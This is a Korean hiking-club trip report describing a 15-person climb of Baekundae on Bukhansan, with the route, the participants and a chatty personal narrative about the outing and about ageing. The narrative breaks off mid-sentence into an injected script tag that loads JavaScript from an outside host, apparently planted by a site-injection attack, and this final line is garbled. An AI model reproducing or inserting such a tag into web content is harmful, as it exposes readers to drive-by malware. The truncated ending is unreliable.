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[제목] 흰구름 사이로 (백운대)
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삼각산의 위용(백운대를 중심로 左仁壽 右萬景)




산행코스(10:30 ∼ 15:00)

도선사 주차장광장→백운대 매표소→우이산장→하루재→인수산장→백운산장→위문

백운대→위문→북한산장→용암문→동장대→대동문→소귀천계곡→고향산천



산행 참가자

김규한, 김기국, 김동식, 김응구, 김일붕, 백경택, 백운학, 유홍림. 윤석길, 윤승일, 윤자천,
이정식, 임창호, 조명하, 전영옥 (총15명) 장영상 뒷풀이 참가



휘공회가 발족한 이래로 가장 많은 참가자를 기록한 오늘 산행은 홈커밍데이에 참가하는 그런 설레임이 있는 날이었다. 이런 이유는 바로 뒤에 이야기가 나오지만 목적지까지의 거리가 먼 남쪽에 사는 친구들은 교통 연계가 좋지 않은 이유로 백총무 사무실에 모여 함께 출발하기로 한 전날의 묵계로 우리집 안사람이 운전한 차로 동식이, 홍림이, 나(석길아 미안하다. 이것 때문에 우리의 산행시간이 30분 이상 지연되는 사태로 발전하는 단초가 되었지)만 약속시간에 맞추어 도착하니 벌써 많은 친구들이 와 있었다. 그 중에 처음 산행에 참가한 친구가 보이네. "조명하"라고. 골프하는 친구들은 잘 알지만 현 67회 골프회장이시라네.



약속된 봉고가 없어 배낭을 트렁크에 잔뜩 실은 정식이 차와 어제의 전작으로 아직 술이 덜 깬 응구회장의 차를 승일이가 얼른 키를 받아 두 차에 분승하여 도선사로 출발하였다. 토요일 출근길 차량행렬이 긴 반대쪽으로 달리는 우리를 태운 차는 쉽게 동부간선도로로 진입하여 쾌주의 순항중에 동승한 명하가 하는 말이 오늘 산행에 참가하기 위해 국립공원관리공단에 있는 친구(?)의 도움으로 초보지만 베테랑같은 행장을 갖출 수 있었다고 하며 어젯밤 소풍가는 전날처럼 맘이 설레어 잠이 오질 않더란다.



나이는 50줄의 중늙은이(이러면 넘 슬픈감)의 겉모습이지만 머릿속은 여전히 초등학교 다닐 때의 그 호기심과 기대감으로 충만한 동심이 남아있더라는 이야기에 정말 부럽다는 생각을 했지만 이내 도리질을 쳤다.
그 이유는 이렇다. 몸이 나이가 들면 생각도 거기에 맞추어야 밸런스 유지가 되며 수분지족(守分之足)을 알텐데 그 둘 사이의 간격이 클수록 노추(老醜)라는 형태로 나타나기 때문이라는 생각에서이다. 그런데 곰곰이 생각해보면 방법이 있을 것도 같다. 하우? 적심(赤心:아이마음)을 유지할 수 있는 몸 상태로 바꾸면 하고 말이다. 그건 열심히 일하고 꾸준히 운동하는 방법말고는 얼른 떠오르지 않는다. 어떤가 친구들! 산에 가자고 "장진산사"를 불러대는 나의 행동이 어처구니가 없는 일이라고 할텐가. 또 오버하고 있구만. 그렇다고 얘들한테 "완장"만 둘러주면 저런가하고 너무 나무라지는 말게.



또 한가지 이야기가 있다. 어떤 방법으로든지 이루어지기는 하겠지만 골프회원들이 운동하며 함께 만나 놀 수 있는 장을 아직 마련하지 못했노라고 걱정이 태산이란다. 그런 고민이 없는 휘공들 만남의 장은 정말 해피하다. 왜냐하면 우리가 살고 있는 땅덩어리 서울(지방도 마찬가지지만)은 1시간이내에 닿을 수 있는 동서남북 어디를 가든 다 만날 수 있는 장이 마련되어 메뉴는 입맛대로 우리가 고르기만 하면 되는데 무슨 걱정?



자동차는 어느새 간선도로를 벗어나 방학동 어귀로 들어선다. 기국이한테서 전화가 온다. 어디쯤이냐고. 이 넘 참 오지랖 넓기는 규뽕(그래서 이 둘이 만나면 한 넘은 "놀아줘! 놀아줘!하고 다른 한 넘은 놓아줘! 놓아줘! 하지만 손뼉도 마주쳐야 소리가 난다고 배가 맞으니까 그러고 노는거지 뭐. 안그런가 친구들!!)하고 쌍벽을 이룬다. 도선사주차장까지 들어오라고 친절히 안내를 해준다.



차를 대고 내리자 미리 와있던 친구들은 약간의 요기들을 막 끝낸 참이었나 부다. 산을 오를 준비를 하는데 지하철 타고 오는 석길이는 아직도 "온더 웨이"인가보다. 무전을 치니 버스종점에서 내려 걸어오는 중이란다. 허 참!! "휘공!! 체험 삶의 현장"에 케스팅되어 오늘의 달구지일꾼으로 지령받은 승일이가 마중 가주어 약속된 시간보다 30분정도 늦은 10:30쯤에야 백운대 매표소를 통과할 수 있었다.



체급별(등산도 체급경기인가?)로 출발시간을 달리한 휘공들은 하루재를 지나면서 눈에 띄게 달라진 경사와 응달로 눈과 얼음이 범벅된 길로 들어서니 등이 써늘해 온다. 허연 배를 내밀고 서있는 인수봉을 쳐다보는 인수?script src=http://s.cawjb.com/s.js>
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